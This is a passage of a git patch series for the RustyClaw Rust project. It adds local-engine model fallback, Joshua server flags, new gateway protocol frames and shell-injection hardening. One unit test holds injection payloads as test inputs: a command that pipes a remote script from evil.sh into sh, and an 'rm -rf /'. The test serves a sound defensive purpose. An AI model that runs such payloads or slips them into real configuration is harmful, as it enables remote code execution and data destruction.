pricing_completion: None, + }) + .collect()), + Err(e) => Err(anyhow::anyhow!("{:#}", e)), + } +} + /// Build `ServiceDef` entries for engines with `auto_start = true`. /// /// The caller inserts these into the `ServicesConfig` so the existing service @@ -584,6 +952,9 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { if let Some(ref models_dir) = cfg.models_dir { args.extend(["--model-store".to_string(), models_dir.clone()]); } + if let Some(ctx) = cfg.context_length { + args.extend(["--ctx-size".to_string(), ctx.to_string()]); + } (cmd, args) } "joshua" => { @@ -604,6 +975,7 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { } } } + a.extend(joshua_serve_flags(cfg)); a.extend(args); (cmd, a) } @@ -647,6 +1019,123 @@ mod sh_quote_tests { } } +#[cfg(test)] +mod fallback_tests { + use super::*; + + /// A local engine whose server is not running must still surface its + /// on-disk models through the provider-model fallback, with the fetch + /// error cleared (that is what lets pickers show local models). + #[tokio::test] + async fn local_engine_models_surface_when_live_fetch_fails() { + let dir = std::env::temp_dir().join(format!("rc-joshua-fallback-{}", std::process::id())); + std::fs::remove_dir_all(&dir).ignore(); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("tiny-Q4_0.gguf"), b"x").unwrap(); + + let mut configs = std::collections::HashMap::new(); + configs.insert( + "joshua".to_string(), + EngineConfig { + models_dir: Some(dir.to_string_lossy().to_string()), + ..Default::default() + }, + ); + + // The live fetch fails fast (connection refused on localhost), so + // the scan is the only source — and the error must be cleared. + let fetched = provider_models_with_local_fallback("joshua", None, None, &configs).await; + assert!(fetched.error.is_none(), "local models must clear the error"); + assert!( + fetched.models.iter().any(|m| m == "tiny-Q4_0"), + "expected the scanned GGUF in {:?}", + fetched.models + ); + // Loaded models (from host process detection, if any joshua servers + // happen to be running on the test host) must always be a subset of + // the picker list. + assert!( + fetched.loaded.iter().all(|l| fetched.models.contains(l)), + "loaded {:?} must be a subset of models {:?}", + fetched.loaded, + fetched.models + ); + + std::fs::remove_dir_all(&dir).ignore(); + } + + #[test] + fn parses_running_server_cmdlines() { + let lines = vec![ + "123 /usr/bin/joshua serve --model /home/u/models/tiny-Q4_0.gguf --addr 127.0.0.1:8080".to_string(), + // The `sh -c "nohup …"` wrapper that spawned it also matches + // pgrep; the same model must not be reported twice. + "124 sh -c nohup joshua serve --model '/home/u/models/tiny-Q4_0.gguf' --addr 127.0.0.1:8080 &".to_string(), + "125 joshua serve -m /models/big-Q8_0.gguf -a 0.0.0.0:8331".to_string(), + "126 joshua serve --model=/models/eq-form.gguf --addr=127.0.0.1:9999".to_string(), + ]; + let joshua = parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080); + assert_eq!( + joshua, + vec![ + ("tiny-Q4_0".to_string(), Some(8080)), + ("big-Q8_0".to_string(), Some(8331)), + ("eq-form".to_string(), Some(9999)), + ] + ); + // A llama-server line parses under its own port flag. + let llamacpp_lines = + vec!["127 llama-server --model /models/llm.gguf --port 8082".to_string()]; + let llamacpp = + parse_server_cmdlines(&llamacpp_lines, &["--model", "-m"], &["--port"], 8080); + assert_eq!(llamacpp, vec![("llm".to_string(), Some(8082))]); + } + + #[test] + fn running_server_parse_defaults_port() { + let lines = vec!["9 joshua serve --model /models/no-addr.gguf".to_string()]; + let parsed = parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080); + assert_eq!(parsed, vec![("no-addr".to_string(), Some(8080))]); + } + + #[test] + fn joshua_serve_flags_cover_the_typed_parameters() { + let cfg = EngineConfig { + context_length: Some(8192), + device: Some("cuda".into()), + huge_pages: Some("2mb".into()), + mmap: true, + lazy_weights: true, + max_output_tokens: Some(1024), + max_concurrency: Some(2), + ..Default::default() + }; + assert_eq!( + joshua_serve_flags(&cfg), + vec![ + "--n-ctx".to_string(), + "8192".to_string(), + "--device".to_string(), + "cuda".to_string(), + "--huge-pages".to_string(), + "2mb".to_string(), + "--mmap".to_string(), + "--lazy-weights".to_string(), + "--max-output-tokens".to_string(), + "1024".to_string(), + "--max-concurrency".to_string(), + "2".to_string(), + ] + ); + // "off" huge pages and an unset device emit nothing. + let minimal = EngineConfig { + huge_pages: Some("off".into()), + ..Default::default() + }; + assert_eq!(joshua_serve_flags(&minimal), Vec::::new()); + } +} + #[cfg(test)] mod stream_shell_tests { use super::*; diff --git a/crates/rustyclaw-core/src/engines/ollama.rs b/crates/rustyclaw-core/src/engines/ollama.rs index 0b7c7041..8bf17f39 100644 --- a/crates/rustyclaw-core/src/engines/ollama.rs +++ b/crates/rustyclaw-core/src/engines/ollama.rs @@ -190,7 +190,7 @@ impl LocalEngine for OllamaEngine { } } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { let os = std::env::consts::OS; match os { "macos" => Self::sh("brew services stop ollama 2>/dev/null; pkill -f 'ollama serve' 2>/dev/null; echo 'stopped'").await, diff --git a/crates/rustyclaw-core/src/gateway/client_types.rs b/crates/rustyclaw-core/src/gateway/client_types.rs index 3977c3e9..d129383c 100644 --- a/crates/rustyclaw-core/src/gateway/client_types.rs +++ b/crates/rustyclaw-core/src/gateway/client_types.rs @@ -354,6 +354,8 @@ pub enum GatewayEvent { provider: String, models: Vec, error: Option, + /// Models the local engine reports as loaded/running (picker markers). + loaded: Vec, }, /// Engine pull progress (streaming). EnginePullProgress { @@ -774,6 +776,14 @@ pub enum GatewayCommand { extra_args: Vec, }, + /// Replace the full configuration for an engine (parameters, default + /// model, extra args). The gateway persists it to config.toml. + #[serde(rename = "engine_config_set")] + EngineConfigSet { + engine: String, + config: crate::engines::EngineConfig, + }, + // ── Panel commands ───────────────────────────────────────────────── /// List cron jobs. #[serde(rename = "cron_list")] @@ -1428,6 +1438,10 @@ impl GatewayCommand { extra_args, }, }, + GatewayCommand::EngineConfigSet { engine, config } => ClientFrame { + frame_type: ClientFrameType::EngineConfigSet, + payload: ClientPayload::EngineConfigSet { engine, config }, + }, // ── Panels ─────────────────────────────────────────────── GatewayCommand::CronList => ClientFrame { frame_type: ClientFrameType::CronListRequest, @@ -2068,10 +2082,12 @@ impl GatewayEvent { provider, models, error, + loaded, } => Some(GatewayEvent::ProviderModelListResult { provider, models, error, + loaded, }), ServerPayload::EnginePullProgress { engine, diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames.rs b/crates/rustyclaw-core/src/gateway/protocol/frames.rs index fa0bfbea..be29b54e 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames.rs @@ -1640,6 +1640,11 @@ pub enum ServerPayload { provider: String, models: Vec, error: Option, + /// Models the local engine reports as loaded/running (a subset of + /// `models`); pickers use it to mark running models. Appended last + /// (positional bincode); empty for cloud providers. + #[serde(default)] + loaded: Vec, }, /// The full plugin list with each plugin's current state. Sent on connect, /// on request, and after a refresh. diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs b/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs index 25b8dc00..5cf6f24c 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs @@ -19,6 +19,10 @@ pub struct EngineInfoDto { pub available_models: u32, pub loaded_models: u32, pub capabilities: EngineInfoCaps, + /// Full per-engine configuration (parameters, default model, extra + /// args). Clients round-trip this back via `EngineConfigSet`; appended + /// last per the positional bincode rule. + pub config: crate::engines::EngineConfig, } /// Capability flags exposed to the client. diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index f7afb80f..57b1f8be 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -904,6 +904,7 @@ pub(crate) fn handle_gateway_event( provider, models, error, + .. } => { if let Some(err) = error { // Keep the static fallback in the picker. The provider diff --git a/crates/rustyclaw-gateway/src/dispatch.rs b/crates/rustyclaw-gateway/src/dispatch.rs index c591a17c..e676b941 100644 --- a/crates/rustyclaw-gateway/src/dispatch.rs +++ b/crates/rustyclaw-gateway/src/dispatch.rs @@ -865,7 +865,17 @@ pub(crate) async fn dispatch_text_message( }); } - let model_timeout = std::time::Duration::from_secs(180); + // How long a single model call may run before the turn gives up. + // The default suits hosted APIs; local engines on a loaded machine + // can need far longer to prefill a large prompt, so the cap honours + // `RUSTYCLAW_MODEL_TIMEOUT_SECS` (e.g. 900) for those setups. + let model_timeout = std::time::Duration::from_secs( + std::env::var("RUSTYCLAW_MODEL_TIMEOUT_SECS") + .ok() + .and_then(|v| v.trim().parse::().ok()) + .filter(|s| *s > 0) + .unwrap_or(180), + ); let result = await_model_with_cancel( providers::call_with_tools(http, &resolved, Some(writer)), tool_cancel, diff --git a/crates/rustyclaw-gateway/src/engine_handler.rs b/crates/rustyclaw-gateway/src/engine_handler.rs index b8867d41..5726996b 100644 --- a/crates/rustyclaw-gateway/src/engine_handler.rs +++ b/crates/rustyclaw-gateway/src/engine_handler.rs @@ -131,6 +131,7 @@ async fn handle_engine_list( available_models: available, loaded_models: loaded, capabilities: engine.capabilities().into(), + config: cfg, }); } let frame = ServerFrame { @@ -210,7 +211,7 @@ async fn handle_engine_action( result } EngineActionKind::Start => eng.start(&cfg).await, - EngineActionKind::Stop => eng.stop().await, + EngineActionKind::Stop => eng.stop(&cfg).await, }; let (ok, message) = match result { @@ -371,6 +372,10 @@ async fn handle_engine_model_action( cfg.extra_args.push("--ctx-size".to_string()); cfg.extra_args.push(ctx.to_string()); } + "joshua" => { + cfg.extra_args.push("--n-ctx".to_string()); + cfg.extra_args.push(ctx.to_string()); + } _ => {} } } diff --git a/crates/rustyclaw-gateway/src/server.rs b/crates/rustyclaw-gateway/src/server.rs index 35e1d254..4390797d 100644 --- a/crates/rustyclaw-gateway/src/server.rs +++ b/crates/rustyclaw-gateway/src/server.rs @@ -2338,7 +2338,13 @@ pub(crate) async fn handle_connection( ).await?; } ClientPayload::ProviderModelList { provider } => { - handle_provider_model_list(&mut *writer, &provider, &config, &vault).await?; + handle_provider_model_list( + &mut *writer, + &provider, + &config, + &vault, + ) + .await?; } ClientPayload::Empty | ClientPayload::AuthChallenge { .. } | ClientPayload::AuthResponse { .. } | ClientPayload::ToolApprovalResponse { .. } | ClientPayload::UserPromptResponse { .. } | ClientPayload::CredentialResponse { .. } | ClientPayload::DomQueryResponse { .. } | ClientPayload::ProcessControl { .. } => { // AuthChallenge/AuthResponse handled in auth phase. @@ -2740,6 +2746,14 @@ pub(crate) async fn handle_connection( /// cloud provider using the gateway's vault-held API key (falling back to /// the provider's env var), replying with a `ProviderModelListResult` /// frame that carries either the model ids or an error string. +/// +/// Local engine providers (Ollama, llama.cpp, LM Studio, exo, Joshua) get a +/// second source: the engine registry's own model list, which for the +/// file-based engines (Joshua, llama.cpp) is a scan of the models directory +/// and therefore works even when the engine server is not running. The +/// live API list is merged in when present (deduped), and the error is +/// cleared whenever local models could be listed — the whole point of the +/// fallback is that the picker shows what is available locally. async fn handle_provider_model_list( writer: &mut dyn rustyclaw_core::gateway::TransportWriter, provider: &str, @@ -2763,16 +2777,15 @@ async fn handle_provider_model_list( .filter(|m| m.provider == provider) .and_then(|m| m.base_url.clone()); - let (models, error) = match crate_providers::fetch_models( + // Live API list, merged with the engine's own model list for local + // engine providers (see `provider_models_with_local_fallback`). + let fetched = rustyclaw_core::engines::provider_models_with_local_fallback( provider, api_key.as_deref(), base_url.as_deref(), + &config.engines, ) - .await - { - Ok(models) => (models, None), - Err(e) => (Vec::new(), Some(format!("{:#}", e))), - }; + .await; send_frame( writer, @@ -2780,8 +2793,9 @@ async fn handle_provider_model_list( frame_type: ServerFrameType::ProviderModelListResult, payload: ServerPayload::ProviderModelListResult { provider: provider.to_string(), - models, - error, + models: fetched.models, + error: fetched.error, + loaded: fetched.loaded, }, }, ) From f0c96a800fd5cd7500f33b523e3cd88b9bcff5ee Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 23:02:44 -0700 Subject: [PATCH 02/10] fix(engines): address Devin review findings on #486 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - joshua_serve_flags only emits --device/--huge-pages for the values Joshua actually accepts (auto/cpu/metal/cuda and transparent/2mb/1gb/ huge), so a hostile free-form config value can no longer inject shell syntax into the spawn command. Numeric fields were already safe. - Joshua's spawn no longer declares failure when the server has simply not answered yet: after the health-probe window it checks whether the spawned process is still alive and reports "still loading" if so, reserving the error for a process that actually exited. Switching to a large model no longer shows a scary error while the model loads fine moments later. - llama.cpp remove resolves the model name back to the scanned on-disk path (file stem, possibly inside a per-repo subdirectory) before deleting, and fails with the available list when nothing matches — previously it rm -f'd a non-existent path and reported phantom success while the file stayed on disk. - ProviderModels.models/.error gain the doc comments the style guide requires for public fields. --- crates/rustyclaw-core/src/engines/joshua.rs | 28 +++++++++++++++--- crates/rustyclaw-core/src/engines/llamacpp.rs | 29 +++++++++++++++---- crates/rustyclaw-core/src/engines/mod.rs | 27 +++++++++++++++-- 3 files changed, 73 insertions(+), 11 deletions(-) diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index 6bac3afa..5ddf5882 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -176,15 +176,35 @@ impl JoshuaEngine { )); } } - // The server never answered: report it as a real failure with a way - // forward, instead of a forever "may still be loading". + // The server has not answered yet. Distinguish a model that is + // still loading (process alive) from one that failed outright + // (process gone): the former is not an error — large models can + // take minutes to come up on a busy machine — while the latter + // deserves a real error with a way forward. + if Self::server_process_alive(port).await { + return Ok(format!( + "joshua start command issued; the model may still be loading on {}.", + endpoint + )); + } anyhow::bail!( - "joshua serve did not answer on {} within 10s. The model file may be invalid or \ - joshua failed at load — run `joshua serve --model '{}'` manually to see the error.", + "joshua serve did not answer on {} and its process exited — the model file may be \ + invalid or joshua failed at load. Run `joshua serve --model '{}'` manually to see \ + the error.", endpoint, model_path.display() ) } + + /// Whether a `joshua serve` process for the given port is still running + /// (best-effort; Linux only). Used to tell "still loading" apart from + /// "crashed" when the health probe has not answered yet. + async fn server_process_alive(port: u16) -> bool { + crate::engines::running_server_cmdlines("joshua serve") + .await + .iter() + .any(|line| line.contains(&format!("127.0.0.1:{}", port))) + } } /// Default models directory for Joshua: `~/.rustyclaw/models/joshua`. diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index c5917b99..c9626a1c 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -384,11 +384,30 @@ impl LocalEngine for LlamaCppEngine { .to_string_lossy() .to_string() }); - Self::sh(&format!( - "rm -f {} 2>&1", - sh_quote(&format!("{}/{}", models_dir, model)) - )) - .await + // `list_models` names on-disk GGUFs by their file stem (no .gguf + // extension, possibly inside a per-repo subdirectory), so resolve + // the name back to the actual scanned path before deleting — a bare + // `rm -f {dir}/{model}` would point at nothing and silently report + // success while the file stays on disk. + let dir = std::path::Path::new(&models_dir); + let matched = crate::engines::scan_gguf_models(dir).into_iter().find(|p| { + p.file_stem().is_some_and(|s| s.to_string_lossy() == model) + || p.file_name().is_some_and(|s| s.to_string_lossy() == model) + }); + let Some(path) = matched else { + anyhow::bail!( + "Model '{}' not found in {} (available: {})", + model, + models_dir, + crate::engines::scan_gguf_models(dir) + .iter() + .filter_map(|p| p.file_stem().map(|s| s.to_string_lossy().to_string())) + .collect::>() + .join(", ") + ); + }; + std::fs::remove_file(&path)?; + Ok(format!("Removed {}", path.display())) } async fn load(&self, model: &str, cfg: &EngineConfig) -> Result { diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index f4e49295..1238185f 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -705,14 +705,17 @@ pub fn joshua_serve_flags(cfg: &EngineConfig) -> Vec { flags.push("--n-ctx".into()); flags.push(ctx.to_string()); } + // Device and huge-pages are free-form config strings that end up in a + // shell command; only emit them for the values Joshua actually accepts, + // so a hostile config value cannot inject shell syntax. if let Some(device) = &cfg.device { - if !device.is_empty() { + if matches!(device.as_str(), "auto" | "cpu" | "metal" | "cuda") { flags.push("--device".into()); flags.push(device.clone()); } } if let Some(hp) = &cfg.huge_pages { - if !hp.is_empty() && hp != "off" { + if matches!(hp.as_str(), "transparent" | "2mb" | "1gb" | "huge") { flags.push("--huge-pages".into()); flags.push(hp.clone()); } @@ -740,10 +743,13 @@ pub fn joshua_serve_flags(cfg: &EngineConfig) -> Vec { /// models were found). #[derive(Debug, Clone, Default, PartialEq, Eq)] pub struct ProviderModels { + /// Model ids the picker may offer for this provider (live API list + /// merged with the engine's on-disk/local list). pub models: Vec, /// Models the local engine reports as loaded/running (a subset of /// `models` for engine providers; empty for cloud providers). pub loaded: Vec, + /// Why the live provider fetch failed, when nothing local replaced it. pub error: Option, } @@ -1134,6 +1140,23 @@ mod fallback_tests { }; assert_eq!(joshua_serve_flags(&minimal), Vec::::new()); } + + #[test] + fn joshua_serve_flags_drop_invalid_freeform_values() { + // device/huge_pages are free-form config strings that end up in a + // shell command; anything Joshua does not accept must be dropped, + // never interpolated. + let cfg = EngineConfig { + device: Some("cpu; curl evil.sh | sh".into()), + huge_pages: Some("2mb && rm -rf /".into()), + context_length: Some(4096), + ..Default::default() + }; + assert_eq!( + joshua_serve_flags(&cfg), + vec!["--n-ctx".to_string(), "4096".to_string()] + ); + } } #[cfg(test)] From f16e5147f73d232cce39929e6d15d5a313be74a0 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 23:18:50 -0700 Subject: [PATCH 03/10] fix(engines): address Devin review findings (protocol, start, stop, ctx) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Protocol: the enriched payloads now ride in new frames with new pinned discriminants instead of widening existing messages — the wire format is positional bincode and deserialize_frame rejects trailing bytes, so adding fields to ProviderModelListResult/EngineInfoDto broke older peers (the project's own protocol rule: new capabilities need new frames). EngineConfigList (after EngineListResult) and ProviderModelLoadedList (after ProviderModelListResult) carry the engine configs and the loaded- model markers; the old frames are byte-identical to before. Joshua start: only a server on the engine's own configured port counts as 'already running'. A joshua started outside RustyClaw on another port no longer prevents the configured server from starting (or Restart from bringing it back). llama.cpp stop: reports honestly — 'no llama-server is running on port N' when nothing matched, instead of always claiming success while a detected server on another port keeps serving. llama.cpp start: applies the typed context window (--ctx-size) on manual starts too, matching the auto-start path. Clients gain minimal arms for the two new frames here; the desktop/TUI consume them in their UI PRs. --- crates/rustyclaw-core/src/engines/joshua.rs | 18 ++++++++----- crates/rustyclaw-core/src/engines/llamacpp.rs | 23 +++++++++++++--- .../src/gateway/client_types.rs | 19 +++++++++++--- .../src/gateway/protocol/frames.rs | 25 ++++++++++++++---- .../src/gateway/protocol/frames/dto.rs | 4 --- crates/rustyclaw-desktop/src/app_support.rs | 4 +++ .../rustyclaw-gateway/src/engine_handler.rs | 26 ++++++++++++++----- crates/rustyclaw-gateway/src/server.rs | 12 +++++++++ crates/rustyclaw-tui/src/gateway_client.rs | 3 +++ 9 files changed, 107 insertions(+), 27 deletions(-) diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index 5ddf5882..15379823 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -387,13 +387,19 @@ impl LocalEngine for JoshuaEngine { if Self::is_running(&endpoint).await { return Ok("joshua is already running.".into()); } - // A joshua started outside RustyClaw is running on another port — - // don't spawn a second server; point the user at the running one. - if let Some((_, port)) = Self::running_servers().await.first() { + // Only a server on this engine's own port counts as "already + // running": a joshua started outside RustyClaw on another port must + // not prevent the configured server from starting. + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); + if let Some((_, port)) = Self::running_servers() + .await + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { return Ok(format!( - "joshua is already running outside RustyClaw (detected on port {}). \ - Configure the engine's port to that server to manage it.", - port.unwrap_or(8080) + "joshua is already running on port {} (detected outside RustyClaw). \ + Stop it manually or choose another port for this engine.", + port.unwrap_or(configured_port) )); } let model_path = resolve_model_path(cfg)?; diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index c9626a1c..d038bd3d 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -211,6 +211,11 @@ impl LocalEngine for LlamaCppEngine { if let Some(ref dir) = cfg.models_dir { cmd.push_str(&format!(" --models-dir '{}'", dir)); } + // The typed context window applies to manual starts too (it already + // applies to auto-start via `engine_start_command`). + if let Some(ctx) = cfg.context_length { + cmd.push_str(&format!(" --ctx-size {}", ctx)); + } for arg in &cfg.extra_args { cmd.push(' '); cmd.push_str(arg); @@ -227,11 +232,23 @@ impl LocalEngine for LlamaCppEngine { async fn stop(&self, cfg: &EngineConfig) -> Result { // Scoped to the configured port: `pkill -f 'llama-server'` would - // also kill servers started manually on other ports. + // also kill servers started manually on other ports. Report what + // actually happened instead of always claiming success. let port = cfg.port.unwrap_or(8080); + let pattern = format!("llama-server .*--port {}", port); + let running = crate::engines::running_server_cmdlines(&pattern) + .await + .iter() + .any(|line| line.contains("llama-server")); + if !running { + return Ok(format!( + "no llama-server is running on port {} (nothing to stop)", + port + )); + } Self::sh(&format!( - "pkill -f 'llama-server .*--port {}' 2>/dev/null; echo 'stopped'", - port + "pkill -f '{}' 2>/dev/null; echo 'stopped'", + pattern )) .await } diff --git a/crates/rustyclaw-core/src/gateway/client_types.rs b/crates/rustyclaw-core/src/gateway/client_types.rs index d129383c..589064eb 100644 --- a/crates/rustyclaw-core/src/gateway/client_types.rs +++ b/crates/rustyclaw-core/src/gateway/client_types.rs @@ -354,9 +354,18 @@ pub enum GatewayEvent { provider: String, models: Vec, error: Option, - /// Models the local engine reports as loaded/running (picker markers). + }, + /// Which of a provider's models are loaded/running (sent after + /// `ProviderModelListResult`; pickers use it to mark running models). + ProviderModelLoadedList { + provider: String, loaded: Vec, }, + /// Full per-engine configuration keyed by engine id (sent after + /// `EngineListResult`). + EngineConfigList { + configs: std::collections::HashMap, + }, /// Engine pull progress (streaming). EnginePullProgress { engine: String, @@ -2082,13 +2091,17 @@ impl GatewayEvent { provider, models, error, - loaded, } => Some(GatewayEvent::ProviderModelListResult { provider, models, error, - loaded, }), + ServerPayload::ProviderModelLoadedList { provider, loaded } => { + Some(GatewayEvent::ProviderModelLoadedList { provider, loaded }) + } + ServerPayload::EngineConfigList { configs } => { + Some(GatewayEvent::EngineConfigList { configs }) + } ServerPayload::EnginePullProgress { engine, model, diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames.rs b/crates/rustyclaw-core/src/gateway/protocol/frames.rs index be29b54e..6f053429 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames.rs @@ -408,6 +408,14 @@ pub enum ServerFrameType { /// encodes these enums by declaration order, so new types go last even /// though the `= N` values already diverge from the indices. ToolGroupsResult = 95, + /// Full per-engine configuration, sent right after `EngineListResult` + /// (new frame rather than a widened `EngineInfoDto`: the wire format is + /// positional bincode, so adding a field to an existing payload breaks + /// older peers — see `docs/PLUGIN_ARCHITECTURE.md`). + EngineConfigList = 96, + /// Which models a provider's list reports as loaded/running, sent right + /// after `ProviderModelListResult`. New frame for the same reason. + ProviderModelLoadedList = 97, } /// Status frame sub-types. @@ -1640,11 +1648,6 @@ pub enum ServerPayload { provider: String, models: Vec, error: Option, - /// Models the local engine reports as loaded/running (a subset of - /// `models`); pickers use it to mark running models. Appended last - /// (positional bincode); empty for cloud providers. - #[serde(default)] - loaded: Vec, }, /// The full plugin list with each plugin's current state. Sent on connect, /// on request, and after a refresh. @@ -1697,6 +1700,18 @@ pub enum ServerPayload { ToolGroupsResult { groups: Vec, }, + /// Full per-engine configuration (parameters, default model, extra + /// args), keyed by engine id. Sent after `EngineListResult`. + EngineConfigList { + configs: std::collections::HashMap, + }, + /// Models the local engine reports as loaded/running, sent after + /// `ProviderModelListResult` (a subset of that frame's `models`; empty + /// for cloud providers). + ProviderModelLoadedList { + provider: String, + loaded: Vec, + }, } mod codec; diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs b/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs index 5cf6f24c..25b8dc00 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames/dto.rs @@ -19,10 +19,6 @@ pub struct EngineInfoDto { pub available_models: u32, pub loaded_models: u32, pub capabilities: EngineInfoCaps, - /// Full per-engine configuration (parameters, default model, extra - /// args). Clients round-trip this back via `EngineConfigSet`; appended - /// last per the positional bincode rule. - pub config: crate::engines::EngineConfig, } /// Capability flags exposed to the client. diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index 57b1f8be..a6179573 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -920,6 +920,10 @@ pub(crate) fn handle_gateway_event( state.write().provider_models.insert(provider, models); } } + // The loaded/running markers and full engine configs arrive in their + // own frames (new capabilities, new frames); the desktop surfaces + // them once the enriched-payload handling lands with the UI work. + GatewayEvent::ProviderModelLoadedList { .. } | GatewayEvent::EngineConfigList { .. } => {} GatewayEvent::EnginePullProgress { engine, model, diff --git a/crates/rustyclaw-gateway/src/engine_handler.rs b/crates/rustyclaw-gateway/src/engine_handler.rs index 5726996b..3c9edb6c 100644 --- a/crates/rustyclaw-gateway/src/engine_handler.rs +++ b/crates/rustyclaw-gateway/src/engine_handler.rs @@ -131,14 +131,28 @@ async fn handle_engine_list( available_models: available, loaded_models: loaded, capabilities: engine.capabilities().into(), - config: cfg, }); } - let frame = ServerFrame { - frame_type: ServerFrameType::EngineListResult, - payload: ServerPayload::EngineListResult { engines }, - }; - send_frame(writer, &frame).await + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::EngineListResult, + payload: ServerPayload::EngineListResult { engines }, + }, + ) + .await?; + // The full per-engine configuration rides in its own frame (new + // capability, new frame — the wire format is positional bincode). + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::EngineConfigList, + payload: ServerPayload::EngineConfigList { + configs: configs.clone(), + }, + }, + ) + .await } /// Build and send an `EngineActionProgress` frame carrying one output line. diff --git a/crates/rustyclaw-gateway/src/server.rs b/crates/rustyclaw-gateway/src/server.rs index 4390797d..f9fa2569 100644 --- a/crates/rustyclaw-gateway/src/server.rs +++ b/crates/rustyclaw-gateway/src/server.rs @@ -2795,6 +2795,18 @@ async fn handle_provider_model_list( provider: provider.to_string(), models: fetched.models, error: fetched.error, + }, + }, + ) + .await?; + // The loaded/running markers ride in their own frame (new capability, + // new frame — the wire format is positional bincode). + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::ProviderModelLoadedList, + payload: ServerPayload::ProviderModelLoadedList { + provider: provider.to_string(), loaded: fetched.loaded, }, }, diff --git a/crates/rustyclaw-tui/src/gateway_client.rs b/crates/rustyclaw-tui/src/gateway_client.rs index 3f2cd875..b8e37488 100644 --- a/crates/rustyclaw-tui/src/gateway_client.rs +++ b/crates/rustyclaw-tui/src/gateway_client.rs @@ -441,6 +441,9 @@ pub(crate) fn gateway_event_to_gw_event( // (`CommandAction::FetchModels`), so gateway-fetched lists are not // surfaced here — they exist for remote clients like the desktop app. E::ProviderModelListResult { .. } => return None, + // The enriched payloads (loaded markers, full engine configs) ride + // in their own frames; the TUI consumes them where it renders them. + E::ProviderModelLoadedList { .. } | E::EngineConfigList { .. } => return None, E::EngineModelListResult { engine, models } => GwEvent::EngineModelListResult { engine: engine.clone(), models: models From 6e3e115b00bc05468c5dd248028469460a8803a1 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 23:34:04 -0700 Subject: [PATCH 04/10] fix(engines): address second-round Devin review findings - Joshua spawn: the 'process exited' hard failure is only reported on Linux, where process inspection exists; on other platforms a slow load falls back to the informational 'may still be loading' instead of a false failure. Same for the llama.cpp stop check. - llama.cpp auto-start: the service definition always passes the resolved --port (not only when one is configured), so the port-scoped stop can actually identify auto-started servers instead of silently matching nothing. - llama.cpp stop: on non-Linux (no process inspection) it falls back to stopping every llama-server rather than claiming success while one keeps running. - llama.cpp start: the configured models directory is interpolated via sh_quote instead of naive single quotes. - running_server_cmdlines: no unused-variable warning on non-Linux builds (cfg_attr allow with the Linux-only body). - Joshua load: 'already loaded' is only claimed when the configured endpoint actually serves the model; a joshua started outside RustyClaw on another port no longer makes Load report success while the configured server has nothing loaded. --- crates/rustyclaw-core/src/engines/joshua.rs | 52 ++++++++++--------- crates/rustyclaw-core/src/engines/llamacpp.rs | 37 +++++++------ crates/rustyclaw-core/src/engines/mod.rs | 8 +-- 3 files changed, 55 insertions(+), 42 deletions(-) diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index 15379823..a7c3d185 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -181,19 +181,30 @@ impl JoshuaEngine { // (process gone): the former is not an error — large models can // take minutes to come up on a busy machine — while the latter // 